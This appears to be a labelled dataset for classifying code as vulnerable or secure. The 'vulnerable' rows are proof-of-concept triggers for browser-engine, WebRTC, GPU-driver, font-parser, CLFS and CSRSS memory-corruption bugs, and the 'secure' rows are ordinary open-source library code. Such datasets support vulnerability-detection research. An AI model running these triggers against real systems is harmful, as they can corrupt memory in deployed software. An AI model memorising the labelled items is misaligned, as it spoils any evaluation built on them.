text
stringclasses
18 values
label
stringclasses
2 values
function foo(bug) { function C(z) { Error.prepareStackTrace = function(t, B) { return B[z].getThis(); }; let p = Error().stack; Error.prepareStackTrace = null; return p; } function J() {} var optim = false; var opt = new Function( 'a', 'b', 'c', 'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' + 'g++;'.repeat(70)); var e = null; J.prototype.d = new Function( 'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];'); J.prototype.a = new Function('a', 'a.b(0,a)'); J.prototype.b = new Function( 'a', 'b', 'b.c();if(a){' + 'g++;'.repeat(70) + '}'); J.prototype.c = function() { if (optim) { var z = C(3); var p = C(3); z[0] = 0; e = {M: z, C: p}; } }; var a = new J(); // jit optim if (bug) { for (var V = 0; 1E4 > V; V++) { opt(0 == V % 4 ? 1 : 4, a, 1); } } optim = true; opt(1, a, 1); return e; } e1 = foo(false); console.log(e1.M === e1.C); // prints true. e2 = foo(true); console.log(e2.M === e2.C); // should be true as above but prints false.
0 (vulnerable)
<html> <head> <script> var canvas = document.createElement('canvas'); function createConnection() { var pc = new RTCPeerConnection({ iceServers: [], iceTransportPolicy: 'relay' }); var encodings = []; for (var i = 0; i < 2; i++) { encodings.push({ rid: String.fromCharCode(97 + i) });// rid must be alphabetic and unique } pc.addTransceiver(canvas.captureStream(0).getTracks()[0], { sendEncodings: encodings }); return pc; } function sdp_munge(offer) { let sdp = offer.sdp; sdp = sdp.replace(/\r?\na=rid:(.+)\s+send\r?\na=simulcast:send\s+.+;\1/, ''); offer.sdp = sdp; return offer; } async function trigger(pc) { var pc = createConnection(); // create an WebRTC connection with var offer = await pc.createOffer(); // create an offer var munged_offer = sdp_munge(offer); // remove one of the send_codecs_ from the offer await pc.setLocalDescription(munged_offer); // set the local description with the sdp } trigger(); </script> </head> </html>
0 (vulnerable)
__int64 __fastcall CClfsBaseFilePersisted::RemoveContainer(CClfsBaseFilePersisted *this, unsigned int a2) { ... v11 = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this); v9 = v11; v16 = v11; if ( v11 >= 0 ) { pContainer = *((_QWORD *)containerContext + 3); if ( pContainer ) { *((_QWORD *)containerContext + 3) = 0i64; ExReleaseResourceForThreadLite(*((PERESOURCE *)this + 4), (ERESOURCE_THREAD)KeGetCurrentThread()); v4 = 0; (*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 0x18i64))(pContainer); // remove method (*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 8i64))(pContainer); // release method v9 = v16; goto LABEL_20; } goto LABEL_19; } ... } v44 = *((_DWORD *)containerContext + 5); // to trigger RemoveContainer one should set this field to -1 if ( v44 == -1 ) { *((_QWORD *)containerContext + 3) = 0i64; // pContainer is set to NULL v20 = CClfsBaseFilePersisted::RemoveContainer(this, v34); v72 = v20; if ( v20 < 0 ) goto LABEL_134; v23 = v78; v34 = (unsigned int)(v34 + 1); v79 = v34; } ... // Obtain all container contexts represented in blf // save pContainer class pointer for each valid container context for ( i = 0; i < 0x400; ++i ) { v20 = CClfsBaseFile::AcquireContainerContext(this, i, &v22); v15 = (char *)this + 8 * i; if ( v20 >= 0 ) { v16 = v22; *((_QWORD *)v15 + 56) = *((_QWORD *)v22 + 3); // for each valid container save pContainer *((_QWORD *)v16 + 3) = 0i64; // and set the initial pContainer to zero CClfsBaseFile::ReleaseContainerContext(this, &v22); } else { *((_QWORD *)v15 + 56) = 0i64; } } // Stage [1] enode block, prepare it for writing ClfsEncodeBlock( (struct _CLFS_LOG_BLOCK_HEADER *)v9, *(unsigned __int16 *)(v9 + 4) << 9, *(_BYTE *)(v9 + 2), 0x10u, 1u); // write modified data v10 = CClfsContainer::WriteSector( *((CClfsContainer **)this + 19), *((struct _KEVENT **)this + 20), 0i64, *(void **)(*((_QWORD *)this + 6) + 24 * v8), *(unsigned __int16 *)(v9 + 4), &v23); ... if ( v7 ) { // Stage [2] Decode file again for futher processing in clfs.sys ClfsDecodeBlock((struct _CLFS_LOG_BLOCK_HEADER *)v9, *(unsigned __int16 *)(v9 + 4), *(_BYTE *)(v9 + 2), 0x10u, &v21); // optain new pContainer class pointer v17 = (_QWORD *)((char *)this + 448); do { // Stage [3] for each valid container // update pContainer field if ( *v17 && (int)CClfsBaseFile::AcquireContainerContext(this, v6, &v22) >= 0 ) { *((_QWORD *)v22 + 3) = *v17; CClfsBaseFile::ReleaseContainerContext(this, &v22); } ++v6; ++v17; } while ( v6 < 0x400 ); } ...
0 (vulnerable)
static struct kbase_va_region *kbase_mem_from_user_buffer( struct kbase_context *kctx, unsigned long address, unsigned long size, u64 *va_pages, u64 *flags) { [...] + int write; [...] + write = reg->flags & (KBASE_REG_CPU_WR | KBASE_REG_GPU_WR); + #if KERNEL_VERSION(4, 6, 0) > LINUX_VERSION_CODE faulted_pages = get_user_pages(current, current->mm, address, *va_pages, #if KERNEL_VERSION(4, 4, 168) <= LINUX_VERSION_CODE && \ KERNEL_VERSION(4, 5, 0) > LINUX_VERSION_CODE - reg->flags & KBASE_REG_CPU_WR ? FOLL_WRITE : 0, - pages, NULL); + write ? FOLL_WRITE : 0, pages, NULL); #else - reg->flags & KBASE_REG_CPU_WR, 0, pages, NULL); + write, 0, pages, NULL); #endif #elif KERNEL_VERSION(4, 9, 0) > LINUX_VERSION_CODE faulted_pages = get_user_pages(address, *va_pages, - reg->flags & KBASE_REG_CPU_WR, 0, pages, NULL); + write, 0, pages, NULL); #else faulted_pages = get_user_pages(address, *va_pages, - reg->flags & KBASE_REG_CPU_WR ? FOLL_WRITE : 0, - pages, NULL); + write ? FOLL_WRITE : 0, pages, NULL); #endif
0 (vulnerable)
input = document.body.appendChild(document.createElement("input")); foo = document.body.appendChild(document.createElement("a")); foo.id = "foo"; // Go to state1 when history.back is called // The URL needs to be <currentPage+hash> to trigger loadInSameDocument during the call to back() // Since the foo's element id="foo", focus will change to that element history.pushState("state1", "", location + "#foo"); // Current state = state2 history.pushState("state2", ""); setTimeout(() => { // Set the focus on the input element. // During the call to back() the focus will change to the foo element // and therefore triggering the blur event on the input element input.focus(); input.onblur = () => history.replaceState("state3", ""); setTimeout(() => history.back(), 1000); }, 1000);
0 (vulnerable)
var initKey = {init : 1}; var level = 4; var map1 = new WeakMap(); function hideWeakMap(map, level, initKey) { let prevMap = map; let prevKey = initKey; for (let i = 0; i < level; i++) { let thisMap = new WeakMap(); prevMap.set(prevKey, thisMap); let thisKey = {'h' : i}; thisMap.set(prevKey, thisKey); prevMap = thisMap; prevKey = thisKey; if (i == level - 1) { let retMap = new WeakMap(); map.set(thisKey, retMap); return thisKey; } } } function getHiddenKey(map, level, initKey) { let prevMap = map; let prevKey = initKey; for (let i = 0; i < level; i++) { let thisMap = prevMap.get(prevKey); let thisKey = thisMap.get(prevKey); prevMap = thisMap; prevKey = thisKey; if (i == level - 1) { return thisKey; } } } function setUpWeakMap(map) { let hk = hideWeakMap(map, level, initKey); let hiddenMap = map.get(hk); let map7 = new WeakMap(); let map8 = new WeakMap(); let k5 = {k5 : 1}; let map5 = new WeakMap(); let k7 = {k7 : 1}; let k9 = {k9 : 1}; let k8 = {k8 : 1}; let v9 = {}; map.set(k7, map7); map.set(k9, v9); hiddenMap.set(k5, map5); hiddenMap.set(hk, k5); map5.set(hk, k7); map7.set(k8, map8); map7.set(k7, k8); map8.set(k8,k9); } function main() { setUpWeakMap(map1); new ArrayBuffer(0x7fe00000); let hiddenKey = getHiddenKey(map1, level, initKey); let hiddenMap = map1.get(hiddenKey); let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey); let k8 = map1.get(k7).get(k7); let map8 = map1.get(k7).get(k8); console.log(map1.get(map8.get(k8))); } while (true) { try { main(); } catch (err) {} }
0 (vulnerable)
function store(y) { x = y; } function load() { return x.b; } var x = {a : 1}; var x1 = {a : 2}; var x2 = {a : 3}; var x3 = {a : 4}; store(x1); %PrepareFunctionForOptimization(store); store(x2); x1.b = 1; %OptimizeFunctionOnNextCall(store); store(x2); x.b = 1; %PrepareFunctionForOptimization(load); load(); %OptimizeFunctionOnNextCall(load); load(); store(x3); %DebugPrint(load());
0 (vulnerable)
global_object = {}; setPropertyViaEmbed = (object, value, handler) => { const embed = document.createElement('embed'); embed.onload = handler; embed.type = 'text/html'; Object.setPrototypeOf(global_object, embed); document.body.appendChild(embed); object.corrupted_prop = value; embed.remove(); } createCorruptedPair = (value_1, value_2) => { const object_1 = { __proto__: global_object }; object_1.regular_prop = 1; setPropertyViaEmbed(object_1, value_2, () => { Object.setPrototypeOf(global_object, null); object_1.corrupted_prop = value_1; }); const object_2 = { __proto__: global_object }; object_2.regular_prop = 1; setPropertyViaEmbed(object_2, value_2, () => { Object.setPrototypeOf(global_object, null); object_2.corrupted_prop = value_1; object_1.regular_prop = 1.1 }); return [object_1, object_2]; } const array = [1.1]; array.prop = 1; const [object_1, object_2] = createCorruptedPair(array, 2261620.509803918); jit = (object) => { return object.corrupted_prop[0]; } for (var i = 0; i < 100000; ++i) jit(object_1); jit(object_2);
0 (vulnerable)
int SetBlendDesignPositions(void *arg) { int num_master; Fixed16_16 values[16][15]; for (num_master = 0; ; num_master++) { if (GetToken() != TOKEN_OPEN) { break; } int values_read = GetOpenFixedArray(&values[num_master], 15); SetNumAxes(values_read); } SetNumMasters(num_master); for (int i = 0; i < num_master; i++) { procs->BlendDesignPositions(i, &values[i]); } return 0; }
0 (vulnerable)
#include <stdint.h> #include <stdio.h> #include <windows.h> #include <string> const char* MANIFEST_CONTENTS = "<?xml version='1.0' encoding='UTF-8' standalone='yes'?>" "<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>" "<assemblyIdentity name='@' version='1.0.0.0' type='win32' " "processorArchitecture='amd64'/>" "</assembly>"; const WCHAR* NULL_BYTE_STR = L"\x00\x00"; const WCHAR* MANIFEST_NAME = L"msil_system.data.sqlxml.resources_b77a5c561934e061_3.0.4100.17061_en-us_" L"d761caeca23d64a2.manifest"; const WCHAR* PATH = L"\\\\.\\c:Windows\\"; const WCHAR* MODULE = L"System.Data.SqlXml.Resources"; typedef PVOID(__stdcall* f_CsrAllocateCaptureBuffer)(ULONG ArgumentCount, ULONG BufferSize); f_CsrAllocateCaptureBuffer CsrAllocateCaptureBuffer; typedef NTSTATUS(__stdcall* f_CsrClientCallServer)(PVOID ApiMessage, PVOID CaptureBuffer, ULONG ApiNumber, ULONG DataLength); f_CsrClientCallServer CsrClientCallServer; typedef NTSTATUS(__stdcall* f_CsrCaptureMessageString)(LPVOID CaptureBuffer, PCSTR String, ULONG Length, ULONG MaximumLength, PSTR OutputString); f_CsrCaptureMessageString CsrCaptureMessageString; NTSTATUS CaptureUnicodeString(LPVOID CaptureBuffer, PSTR OutputString, PCWSTR String, ULONG Length = 0) { if (Length == 0) { Length = lstrlenW(String); } return CsrCaptureMessageString(CaptureBuffer, (PCSTR)String, Length * 2, Length * 2 + 2, OutputString); } int main() { HMODULE Ntdll = LoadLibrary(L"Ntdll.dll"); CsrAllocateCaptureBuffer = (f_CsrAllocateCaptureBuffer)GetProcAddress( Ntdll, "CsrAllocateCaptureBuffer"); CsrClientCallServer = (f_CsrClientCallServer)GetProcAddress(Ntdll, "CsrClientCallServer"); CsrCaptureMessageString = (f_CsrCaptureMessageString)GetProcAddress( Ntdll, "CsrCaptureMessageString"); char Message[0x220]; memset(Message, 0, 0x220); PVOID CaptureBuffer = CsrAllocateCaptureBuffer(4, 0x300); std::string Manifest = MANIFEST_CONTENTS; Manifest.replace(Manifest.find('@'), 1, 0x2000, 'A'); // There's no public definition of the relevant CSR_API_MSG structure. // The offsets and values are taken directly from the exploit. *(uint32_t*)(Message + 0x40) = 0xc1; *(uint16_t*)(Message + 0x44) = 9; *(uint16_t*)(Message + 0x59) = 0x201; // CSRSS loads the manifest contents from the client process memory; // therefore, it doesn't have to be stored in the capture buffer. *(const char**)(Message + 0x80) = Manifest.c_str(); *(uint64_t*)(Message + 0x88) = Manifest.size(); *(uint64_t*)(Message + 0xf0) = 1; CaptureUnicodeString(CaptureBuffer, Message + 0x48, NULL_BYTE_STR, 2); CaptureUnicodeString(CaptureBuffer, Message + 0x60, MANIFEST_NAME); CaptureUnicodeString(CaptureBuffer, Message + 0xc8, PATH); CaptureUnicodeString(CaptureBuffer, Message + 0x120, MODULE); // Triggers the issue by setting ApplicationName.MaxLength to a large value. *(uint16_t*)(Message + 0x122) = 0x8000; CsrClientCallServer(Message, CaptureBuffer, 0x10017, 0xf0); }
0 (vulnerable)
#include "gtest/internal/gtest-filepath.h" #include <stdlib.h> #include "gtest/gtest-message.h" #include "gtest/internal/gtest-port.h" #if GTEST_OS_WINDOWS_MOBILE #include <windows.h> #elif GTEST_OS_WINDOWS #include <direct.h> #include <io.h> #else #include <limits.h> #include <climits> // Some Linux distributions define PATH_MAX here. #endif // GTEST_OS_WINDOWS_MOBILE #include "gtest/internal/gtest-string.h" #if GTEST_OS_WINDOWS #define GTEST_PATH_MAX_ _MAX_PATH #elif defined(PATH_MAX) #define GTEST_PATH_MAX_ PATH_MAX #elif defined(_XOPEN_PATH_MAX) #define GTEST_PATH_MAX_ _XOPEN_PATH_MAX #else #define GTEST_PATH_MAX_ _POSIX_PATH_MAX #endif // GTEST_OS_WINDOWS namespace testing { namespace internal { #if GTEST_OS_WINDOWS // On Windows, '\\' is the standard path separator, but many tools and the // Windows API also accept '/' as an alternate path separator. Unless otherwise // noted, a file path can contain either kind of path separators, or a mixture // of them. const char kPathSeparator = '\\'; const char kAlternatePathSeparator = '/'; const char kAlternatePathSeparatorString[] = "/"; #if GTEST_OS_WINDOWS_MOBILE // Windows CE doesn't have a current directory. You should not use // the current directory in tests on Windows CE, but this at least // provides a reasonable fallback. const char kCurrentDirectoryString[] = "\\"; // Windows CE doesn't define INVALID_FILE_ATTRIBUTES const DWORD kInvalidFileAttributes = 0xffffffff; #else const char kCurrentDirectoryString[] = ".\\"; #endif // GTEST_OS_WINDOWS_MOBILE #else const char kPathSeparator = '/'; const char kCurrentDirectoryString[] = "./"; #endif // GTEST_OS_WINDOWS // Returns whether the given character is a valid path separator. static bool IsPathSeparator(char c) { #if GTEST_HAS_ALT_PATH_SEP_ return (c == kPathSeparator) || (c == kAlternatePathSeparator); #else return c == kPathSeparator; #endif } // Returns the current working directory, or "" if unsuccessful. FilePath FilePath::GetCurrentDir() { #if GTEST_OS_WINDOWS_MOBILE || GTEST_OS_WINDOWS_PHONE || \ GTEST_OS_WINDOWS_RT || GTEST_OS_ESP8266 || GTEST_OS_ESP32 || \ GTEST_OS_XTENSA || GTEST_OS_QURT // These platforms do not have a current directory, so we just return // something reasonable. return FilePath(kCurrentDirectoryString); #elif GTEST_OS_WINDOWS char cwd[GTEST_PATH_MAX_ + 1] = {'\0'}; return FilePath(_getcwd(cwd, sizeof(cwd)) == nullptr ? "" : cwd); #else char cwd[GTEST_PATH_MAX_ + 1] = {'\0'}; char* result = getcwd(cwd, sizeof(cwd)); #if GTEST_OS_NACL // getcwd will likely fail in NaCl due to the sandbox, so return something // reasonable. The user may have provided a shim implementation for getcwd, // however, so fallback only when failure is detected. return FilePath(result == nullptr ? kCurrentDirectoryString : cwd); #endif // GTEST_OS_NACL return FilePath(result == nullptr ? "" : cwd); #endif // GTEST_OS_WINDOWS_MOBILE }
1 (secure)
#pragma once #include <Core/Types.h> #include <Common/Exception.h> #include <Common/intExp.h> #include <base/arithmeticOverflow.h> #include <limits> #include <type_traits> namespace DB { template <typename T> class DataTypeNumber; namespace ErrorCodes { extern const int DECIMAL_OVERFLOW; extern const int ARGUMENT_OUT_OF_BOUND; } namespace DecimalUtils { inline constexpr size_t min_precision = 1; template <typename T> inline constexpr size_t max_precision = 0; template <> inline constexpr size_t max_precision<Decimal32> = 9; template <> inline constexpr size_t max_precision<Decimal64> = 18; template <> inline constexpr size_t max_precision<DateTime64> = 18; template <> inline constexpr size_t max_precision<Decimal128> = 38; template <> inline constexpr size_t max_precision<Decimal256> = 76; template <typename T> inline auto scaleMultiplier(UInt32 scale) { if constexpr (std::is_same_v<T, Int32> || std::is_same_v<T, Decimal32>) return common::exp10_i32(scale); else if constexpr (std::is_same_v<T, Int64> || std::is_same_v<T, Decimal64> || std::is_same_v<T, DateTime64>) return common::exp10_i64(scale); else if constexpr (std::is_same_v<T, Int128> || std::is_same_v<T, Decimal128>) return common::exp10_i128(scale); else if constexpr (std::is_same_v<T, Int256> || std::is_same_v<T, Decimal256>) return common::exp10_i256(scale); } /** Components of DecimalX value: * whole - represents whole part of decimal, can be negative or positive. * fractional - for fractional part of decimal, always positive. */ template <typename DecimalType> struct DecimalComponents { using T = typename DecimalType::NativeType; T whole; T fractional; }; /// Traits used for determining final Type/Precision/Scale for certain math operations on decimals. template <typename T> struct DataTypeDecimalTrait { using FieldType = T; const UInt32 precision; const UInt32 scale; DataTypeDecimalTrait(UInt32 precision_, UInt32 scale_) : precision(precision_), scale(scale_) {} /// @returns multiplier for U to become T with correct scale template <typename U> T scaleFactorFor(const DataTypeDecimalTrait<U> & x, bool) const { if (scale < x.scale) throw Exception("Decimal result's scale is less than argument's one", ErrorCodes::ARGUMENT_OUT_OF_BOUND); const UInt32 scale_delta = scale - x.scale; /// scale_delta >= 0 return DecimalUtils::scaleMultiplier<typename T::NativeType>(scale_delta); } };
1 (secure)
#include <SFML/System/Err.hpp> #include <SFML/Window/SensorManager.hpp> #include <ostream> namespace sf { namespace priv { //////////////////////////////////////////////////////////// SensorManager& SensorManager::getInstance() { static SensorManager instance; return instance; } //////////////////////////////////////////////////////////// bool SensorManager::isAvailable(Sensor::Type sensor) { return m_sensors[sensor].available; } //////////////////////////////////////////////////////////// void SensorManager::setEnabled(Sensor::Type sensor, bool enabled) { if (m_sensors[sensor].available) { m_sensors[sensor].enabled = enabled; m_sensors[sensor].sensor.setEnabled(enabled); } else { err() << "Warning: trying to enable a sensor that is not available (call Sensor::isAvailable to check it)" << std::endl; } } //////////////////////////////////////////////////////////// bool SensorManager::isEnabled(Sensor::Type sensor) const { return m_sensors[sensor].enabled; } //////////////////////////////////////////////////////////// Vector3f SensorManager::getValue(Sensor::Type sensor) const { return m_sensors[sensor].value; } //////////////////////////////////////////////////////////// void SensorManager::update() { for (Item& item : m_sensors) { // Only process available sensors if (item.available) item.value = item.sensor.update(); } } //////////////////////////////////////////////////////////// SensorManager::SensorManager() { // Global sensor initialization SensorImpl::initialize(); // Per sensor initialization for (int i = 0; i < Sensor::Count; ++i) { // Check which sensors are available m_sensors[i].available = SensorImpl::isAvailable(static_cast<Sensor::Type>(i)); // Open the available sensors if (m_sensors[i].available) { if (m_sensors[i].sensor.open(static_cast<Sensor::Type>(i))) { m_sensors[i].sensor.setEnabled(false); } else { m_sensors[i].available = false; err() << "Warning: sensor " << i << " failed to open, will not be available" << std::endl; } } } } //////////////////////////////////////////////////////////// SensorManager::~SensorManager() { // Per sensor cleanup for (Item& item : m_sensors) { if (item.available) item.sensor.close(); } // Global sensor cleanup SensorImpl::cleanup();
1 (secure)
#pragma once #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #ifdef _WIN32 #include <winsock.h> #else #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <arpa/inet.h> #endif #include <vector> #include <iostream> #include <fstream> #include <time.h> #define STD_PORT 9777 #define MS_ABSOLUTE 0x01 //#define MS_RELATIVE 0x02 #define BTN_USE_NAME 0x01 #define BTN_DOWN 0x02 #define BTN_UP 0x04 #define BTN_USE_AMOUNT 0x08 #define BTN_QUEUE 0x10 #define BTN_NO_REPEAT 0x20 #define BTN_VKEY 0x40 #define BTN_AXIS 0x80 #define PT_HELO 0x01 #define PT_BYE 0x02 #define PT_BUTTON 0x03 #define PT_MOUSE 0x04 #define PT_PING 0x05 #define PT_BROADCAST 0x06 #define PT_NOTIFICATION 0x07 #define PT_BLOB 0x08 #define PT_LOG 0x09 #define PT_ACTION 0x0A #define PT_DEBUG 0xFF #define ICON_NONE 0x00 #define ICON_JPEG 0x01 #define ICON_PNG 0x02 #define ICON_GIF 0x03 #define MAX_PACKET_SIZE 1024 #define HEADER_SIZE 32 #define MAX_PAYLOAD_SIZE (MAX_PACKET_SIZE - HEADER_SIZE) #define MAJOR_VERSION 2 #define MINOR_VERSION 0 #define LOGDEBUG 0 #define LOGINFO 1 #define LOGNOTICE 2 #define LOGWARNING 3 #define LOGERROR 4 #define LOGSEVERE 5 #define LOGFATAL 6 #define LOGNONE 7 #define ACTION_EXECBUILTIN 0x01 #define ACTION_BUTTON 0x02 class CAddress { private: struct sockaddr_in m_Addr; public: CAddress(int Port = STD_PORT) { m_Addr.sin_family = AF_INET; m_Addr.sin_port = htons(Port); m_Addr.sin_addr.s_addr = INADDR_ANY; memset(m_Addr.sin_zero, '\0', sizeof m_Addr.sin_zero); } CAddress(const char *Address, int Port = STD_PORT) { m_Addr.sin_port = htons(Port); struct hostent *h; if (Address == NULL || (h=gethostbyname(Address)) == NULL) { if (Address != NULL) printf("Error: Get host by name\n"); m_Addr.sin_addr.s_addr = INADDR_ANY; m_Addr.sin_family = AF_INET; } else { m_Addr.sin_family = h->h_addrtype; m_Addr.sin_addr = *((struct in_addr *)h->h_addr); } memset(m_Addr.sin_zero, '\0', sizeof m_Addr.sin_zero); } void SetPort(int port) { m_Addr.sin_port = htons(port); } const sockaddr *GetAddress() { return ((struct sockaddr *)&m_Addr); } bool Bind(int Sockfd) { return (bind(Sockfd, (struct sockaddr *)&m_Addr, sizeof m_Addr) == 0); } }; class XBMCClientUtils { public: XBMCClientUtils() = default; ~XBMCClientUtils() = default; static unsigned int GetUniqueIdentifier() { static time_t id = time(NULL); return id; } static void Clean() { #ifdef _WIN32 WSACleanup(); #endif } static bool Initialize() { #ifdef _WIN32 WSADATA wsaData; if (WSAStartup(MAKEWORD(1, 1), &wsaData)) return false; #endif return true; } }; class CPacket
1 (secure)
#ifndef BOOST_BEAST_WEBSOCKET_OPTION_HPP #define BOOST_BEAST_WEBSOCKET_OPTION_HPP #include <boost/beast/core/detail/config.hpp> namespace boost { namespace beast { namespace websocket { /** permessage-deflate extension options. These settings control the permessage-deflate extension, which allows messages to be compressed. @note Objects of this type are used with @ref beast::websocket::stream::set_option. */ struct permessage_deflate { /// `true` to offer the extension in the server role bool server_enable = false; /// `true` to offer the extension in the client role bool client_enable = false; /** Maximum server window bits to offer @note Due to a bug in ZLib, this value must be greater than 8. */ int server_max_window_bits = 15; /** Maximum client window bits to offer @note Due to a bug in ZLib, this value must be greater than 8. */ int client_max_window_bits = 15; /// `true` if server_no_context_takeover desired bool server_no_context_takeover = false; /// `true` if client_no_context_takeover desired bool client_no_context_takeover = false; /// Deflate compression level 0..9 int compLevel = 8; /// Deflate memory level, 1..9 int memLevel = 4; /// The minimum size a message should have to be compressed std::size_t msg_size_threshold = 0; }; } // websocket } // beast } // boost #endif
1 (secure)
#include <cstdlib> #include <iostream> #include <sstream> using namespace std; void build_code(int max_args) { stringstream ss; ss << "#define NLOHMANN_JSON_EXPAND( x ) x" << endl; ss << "#define NLOHMANN_JSON_GET_MACRO("; for (int i = 0 ; i < max_args ; i++) ss << "_" << i + 1 << ", "; ss << "NAME,...) NAME" << endl; ss << "#define NLOHMANN_JSON_PASTE(...) NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_GET_MACRO(__VA_ARGS__, \\" << endl; for (int i = max_args ; i > 1 ; i--) ss << "NLOHMANN_JSON_PASTE" << i << ", \\" << endl; ss << "NLOHMANN_JSON_PASTE1)(__VA_ARGS__))" << endl; ss << "#define NLOHMANN_JSON_PASTE2(func, v1) func(v1)" << endl; for (int i = 3 ; i <= max_args ; i++) { ss << "#define NLOHMANN_JSON_PASTE" << i << "(func, "; for (int j = 1 ; j < i -1 ; j++) ss << "v" << j << ", "; ss << "v" << i-1 << ") NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE" << i-1 << "(func, "; for (int j = 2 ; j < i-1 ; j++) ss << "v" << j << ", "; ss << "v" << i-1 << ")" << endl; } cout << ss.str() << endl; } int main(int argc, char** argv) { int max_args = 64; build_code(max_args); return 0; }
1 (secure)
#ifndef RAPIDJSON_FILEWRITESTREAM_H_ #define RAPIDJSON_FILEWRITESTREAM_H_ #include "stream.h" #include <cstdio> #ifdef __clang__ RAPIDJSON_DIAG_PUSH RAPIDJSON_DIAG_OFF(unreachable-code) #endif RAPIDJSON_NAMESPACE_BEGIN //! Wrapper of C file stream for output using fwrite(). /*! \note implements Stream concept */ class FileWriteStream { public: typedef char Ch; //!< Character type. Only support char. FileWriteStream(std::FILE* fp, char* buffer, size_t bufferSize) : fp_(fp), buffer_(buffer), bufferEnd_(buffer + bufferSize), current_(buffer_) { RAPIDJSON_ASSERT(fp_ != 0); } void Put(char c) { if (current_ >= bufferEnd_) Flush(); *current_++ = c; } void PutN(char c, size_t n) { size_t avail = static_cast<size_t>(bufferEnd_ - current_); while (n > avail) { std::memset(current_, c, avail); current_ += avail; Flush(); n -= avail; avail = static_cast<size_t>(bufferEnd_ - current_); } if (n > 0) { std::memset(current_, c, n); current_ += n; } } void Flush() { if (current_ != buffer_) { size_t result = std::fwrite(buffer_, 1, static_cast<size_t>(current_ - buffer_), fp_); if (result < static_cast<size_t>(current_ - buffer_)) { // failure deliberately ignored at this time // added to avoid warn_unused_result build errors } current_ = buffer_; } } // Not implemented char Peek() const { RAPIDJSON_ASSERT(false); return 0; } char Take() { RAPIDJSON_ASSERT(false); return 0; } size_t Tell() const { RAPIDJSON_ASSERT(false); return 0; } char* PutBegin() { RAPIDJSON_ASSERT(false); return 0; } size_t PutEnd(char*) { RAPIDJSON_ASSERT(false); return 0; } private: // Prohibit copy constructor & assignment operator. FileWriteStream(const FileWriteStream&); FileWriteStream& operator=(const FileWriteStream&); std::FILE* fp_; char *buffer_; char *bufferEnd_; char *current_; }; //! Implement specialized version of PutN() with memset() for better performance. template<> inline void PutN(FileWriteStream& stream, char c, size_t n) { stream.PutN(c, n); } RAPIDJSON_NAMESPACE_END #ifdef __clang__ RAPIDJSON_DIAG_POP #endif #endif // RAPIDJSON_FILESTREAM_H_
1 (secure)
#include <os> #include <kernel.hpp> #include <kprint> #include <boot/multiboot.h> #include <kernel/memory.hpp> //#define DEBUG_MULTIBOOT #ifdef DEBUG_MULTIBOOT #undef debug #define debug(X,...) kprintf(X,##__VA_ARGS__); #define MYINFO(X,...) kprintf("<Multiboot>" X "\n", ##__VA_ARGS__) #undef INFO2 #define INFO2(X,...) kprintf("\t" X "\n", ##__VA_ARGS__) #else #define debug(X,...) #define MYINFO(X,...) INFO("Kernel", X, ##__VA_ARGS__) #endif using namespace util::bitops; using namespace util::literals; extern uintptr_t _end; #if defined(ARCH_aarch64) uint32_t dummy[24]; uintptr_t __multiboot_addr=(uintptr_t)&dummy[0]; #else extern uint32_t __multiboot_addr; #endif static inline multiboot_info_t* bootinfo(uint32_t addr) { // NOTE: the address is 32-bit and not a pointer return (multiboot_info_t*) (uintptr_t) addr; } multiboot_info_t* kernel::bootinfo() { return (multiboot_info_t*) (uintptr_t) __multiboot_addr; } uintptr_t _multiboot_memory_end(uintptr_t boot_addr) { auto* info = bootinfo(boot_addr); if (info->flags & MULTIBOOT_INFO_MEMORY) { return 0x100000 + (info->mem_upper * 1024); } return os::Arch::max_canonical_addr; } // Deterimine the end of multiboot provided data // (e.g. multiboot's data area as offset to the _end symbol) uintptr_t _multiboot_free_begin(uintptr_t boot_addr) { const auto* info = bootinfo(boot_addr); uintptr_t multi_end = reinterpret_cast<uintptr_t>(&_end); debug("* Multiboot begin: 0x%x \n", info); if (info->flags & MULTIBOOT_INFO_CMDLINE and info->cmdline > multi_end) { debug("* Multiboot cmdline @ 0x%x: %s \n", info->cmdline, (char*)info->cmdline); // We can't use a cmdline that's either insde our ELF or pre-ELF area Expects(info->cmdline > multi_end or info->cmdline < 0x100000); if (info->cmdline > multi_end) { auto* cmdline_ptr = (const char*) (uintptr_t) info->cmdline; // Set free begin to after the cmdline string, // but only if the cmdline is placed after image end const uintptr_t cmdline_end = info->cmdline + strlen(cmdline_ptr) + 1; if (cmdline_end > multi_end) multi_end = cmdline_end; } } debug("* Multiboot end: 0x%x \n", multi_end); if (info->mods_count == 0) { return multi_end; } auto* mods_list = (multiboot_module_t*) (uintptr_t) info->mods_addr; debug("* Module list @ %p \n",mods_list); for (auto* mod = mods_list; mod < mods_list + info->mods_count; mod ++) { debug("\t * Module @ %#x \n", mod->mod_start); debug("\t * Args: %s \n ", (char*) (uintptr_t) mod->cmdline); debug("\t * End: %#x \n ", mod->mod_end); if (mod->mod_end > multi_end) multi_end = mod->mod_end; } debug("* Multiboot end: 0x%x \n", multi_end); return multi_end; } void kernel::multiboot_mmap(void* start, size_t size) { const gsl::span<multiboot_memory_map_t> mmap { (multiboot_memory_map_t*) start, (int) (size / sizeof(multiboot_memory_map_t)) }; for (const auto& map : mmap) { const char* str_type = map.type & MULTIBOOT_MEMORY_AVAILABLE ? "FREE" : "RESERVED"; const uintptr_t addr = map.addr; const uintptr_t size = map.len; INFO2(" 0x%010zx - 0x%010zx %s (%zu Kb.)", map.addr, map.addr + map.len - 1, str_type, map.len / 1024 ); if ((map.type & MULTIBOOT_MEMORY_AVAILABLE) == 0) { if (util::bits::is_aligned<4_KiB>(map.addr)) { os::mem::map({addr, addr, os::mem::Access::read | os::mem::Access::write, size}, "Reserved (Multiboot)"); continue; } // For non-aligned addresses, assign os::mem::vmmap().assign_range({map.addr, map.addr + map.len-1, "Reserved (Multiboot)"}); } else { // Map as free memory } } }
1 (secure)